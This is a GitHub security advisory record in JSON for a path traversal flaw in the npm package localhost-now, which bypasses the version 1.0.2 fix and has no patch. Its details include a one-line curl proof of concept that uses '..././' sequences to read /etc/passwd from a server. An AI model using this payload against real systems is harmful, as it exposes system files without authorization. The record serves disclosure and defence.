{"id":"GHSA-73cw-jxmm-qpgh","summary":"Path Traversal in localhost-now","details":"All versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2\n\nProof of concept:\n\n```\n$ curl -v --path-as-is \"http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd\" \n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.\n ","modified":"2020-08-31T18:31:31Z","published":"2019-06-11T16:40:48Z","database_specific":{"github_reviewed_at":"2019-06-11T16:40:34Z","nvd_published_at":null,"cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://hackerone.com/reports/329837"},{"type":"WEB","url":"https://github.com/DCKT/localhost-now/blob/master/lib/app.js#L17"},{"type":"WEB","url":"https://www.npmjs.com/advisories/655"}],"affected":[{"package":{"name":"localhost-now","ecosystem":"npm","purl":"pkg:npm/localhost-now"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.0.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/06/GHSA-73cw-jxmm-qpgh/GHSA-73cw-jxmm-qpgh.json"}}],"schema_version":"1.9.0"}